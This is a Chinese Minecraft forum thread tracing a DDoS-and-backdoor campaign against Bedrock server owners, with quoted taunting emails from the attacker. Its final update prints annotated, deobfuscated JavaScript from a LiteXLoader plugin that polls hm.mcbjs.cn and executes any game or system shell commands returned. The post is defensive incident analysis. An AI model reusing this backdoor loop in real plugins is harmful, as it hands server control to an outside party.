• 【MineBBS社区发展意见征集】

    欢迎参与MineBBS社区调查,助力打造更好Minecraft社区!完成问卷可获赠200金粒,优质回答可额外获得200金粒(限5名),快来参与吧!【点击参与】

讨论 梅开二度——BDS Server 2021年12月-2022年1(2)月DDoS事件

awathefox

【Lv:2】

注册
2021/11/06
消息
9
金粒
520金粒
警告:此人已经干过DDoS,后门行为,如果您的服务器受到损失,请立刻报警。
珍爱服务器,切勿DDoS。
2021年末时,部分服务器服主发现自己的服务器被DDoS(UDP泛洪),并且接受到了由bdscrash@protonmail.com发来的的匿名消息(一篇优美的英语短文)。完整内容如下(笔者注:这英语短文我给零分):
Po, how is your server?
Your excellent in-group black fart performance successfully attracted the attention of this channel, inview of your JS intermediate expert wonderful black fart level and like to point out the habits of the mountain, this channel decided to gift your service God must package.l hope you don't wet your trousers while the server fluctuates normally, and don't play the passive skill of pointing out the mountains or relenting to force real s**t mountains in the group again. qqqxx

各位腐竹立刻开始反击(反d,报警),甚至有人进行人肉搜索(真实存疑)。

bdscrash@protonmail.com在发完消息后立刻注销
在知道有腐竹反击后再度下线,换号(bropapa112@protonmail.com)发送(正在查找具体内容):

BDS crash體驗卡已贈送
15嵗,你好。你的人肉太厲害了,人肉我不違法是吧,666。我投降,我投降,今晚9點至9點15,bdscrash等你來
暂时“投降”,但是那天什么事都没发生(存疑)。


只过了1天,对方就又上线了,假装十分风轻云淡,用换的号发送:

666,卡頓測試開始,卡頓時間一刻鐘。授權測試人豪邁
注:所谓的“豪迈”在很久以前就退网了


同时,对方还发送了另一封意义不明的邮件,内容如下:
遠程的愛情
提示1:玫瑰,小貓,原神,太陽。
提示2:進制,凱撒,泰勒,圖靈。
結果:BJS卡頓的秘密
懲罰:BJS古羅馬
(这一段应该是在提示身份。如果有看得懂的知情人士,请一定要回帖告诉我们!)
BJSserver和此人一伙。立刻就从后台开始了远程JS操纵,导致部分服务器严重卡顿。
事态尚未有进一步发展。

欢迎各位占位/买瓜子!

更新 1
通过对聊天记录的整理,我们发现bropapa112@protonmail.com还发来过这样一封邮件:
你只發現了稻草人666
正確線索z.mcbjs.cn,錯誤線索hm.mcbjs.cn,請求方式隱秘。15嵗能打死就**
(已经删除不文明的词语。)
照对面这么说,hm.mcbjs.cn是假的后门网址,z.mcbjs.cn才是真的后门网址?可是我并没有在日志里发现HTTP对这个的请求。具体的分析只能等到受害腐竹把后门js发过来了,分析会放在更新2里。
 
最后编辑:
这边建议是把你的语言改正常一点,避免跟某站扯上联系,使本站或者你的帖子遭到波及。
 
更新 2
其实要分析代码很简单。
通过腐竹发过来的带后门的文件(在附件,仅供研究!切勿实装!),我们得以开始研究。

在经过简单的手动反混淆和优化后(结果见附件2),我们得到以下关键后门代码:
JavaScript:
//如果对如何解混淆感兴趣的,对比一下两个附件
var conf = new JsonConfigFile('./plugins/LiteXLoader/Update/Recording.json'); // 打开升级日志
conf.init('cmd', ''); // init
conf.init('shell', ''); // init2

function hm(status, result) {
    if (status == 200) {
        var shellcode = data.parseJson(result); // 可替换为 var shellcode = JSON.parse(result);
        /*
        上一句看起来没有什么问题,但其实问题很大。
        如果有做过项目的话,一般都会直接写JSON.parse(result)(LXL也兼容这个),但是后门作者用了data类,
        并且全篇很难看到原生相关的内容,所以可以推测出作者应该不熟悉原生JS,或者很少/完全没有做过网页项目。
        */
        /*
        以下是shellcode的大概构造。
        {
            "cmd":"真正执行的指令。",
            "cf_cmd":"在Recording记录显示的假指令(也会执行)。全称Config Fake Command。",
            "shell":"真正执行的系统命令。",
            "cf_shell":"在Recording记录显示的假系统命令(也会执行)。全称Config Fake Shell。"
        }
        */
        if (shellcode['cf_cmd'] != "" && shellcode['cf_cmd'] !== conf.get('cmd')) { // 如果假指令不是空的并且纪录和假命令不一致
            mc.runcmd(shellcode['cf_cmd']); // 执行假命令
            conf.set('cmd', shellcode['cf_cmd']); // 写记录
        }
        if (shellcode['cf_shell'] != "" && shellcode['cf_shell'] !== conf.get('shell')) { // 如果假系统命令不是空的并且纪录和假命令不一致
            system.cmd(shellcode['cf_shell'], shl); // 执行假系统指令
            conf.set('shell', shellcode['cf_shell']); // 写记录
        }
        if (shellcode['cmd'] != "") { // 如果真指令不是空的
            mc.runcmd(shellcode['cmd']); // 执行
        }
        if (shellcode['shell'] != "") { // 如果真系统命令不是空的
            system.cmd(shellcode['shell'], shl); // 执行
        }
    }
}
setInterval(function () {
    network.httpGet('https://hm.mcbjs.cn/', hm);
}, 1);
其中根本就没有z.mcbjs.cn,也不存在所谓的”发送方式隐秘“,故更新1中的邮件证伪。
 

附件

在线会员

  • 眠悠子Miyoz
  • timeCK17
  • fghjhyf
  • Sheng_Kong
  • Coquettishpig
  • Cyclone3807
  • fzx526
  • At.
  • 小智i
  • afoxxvi
  • 没事放放牛
  • waihuai
  • shilingyu
  • ttttt_3t
  • Star Fall8436
  • toretgman
  • 靐靐
  • L导爱你
  • HYyy
  • 麦块瓶子
  • Sylvian
...和 30 更多。
后退
顶部 底部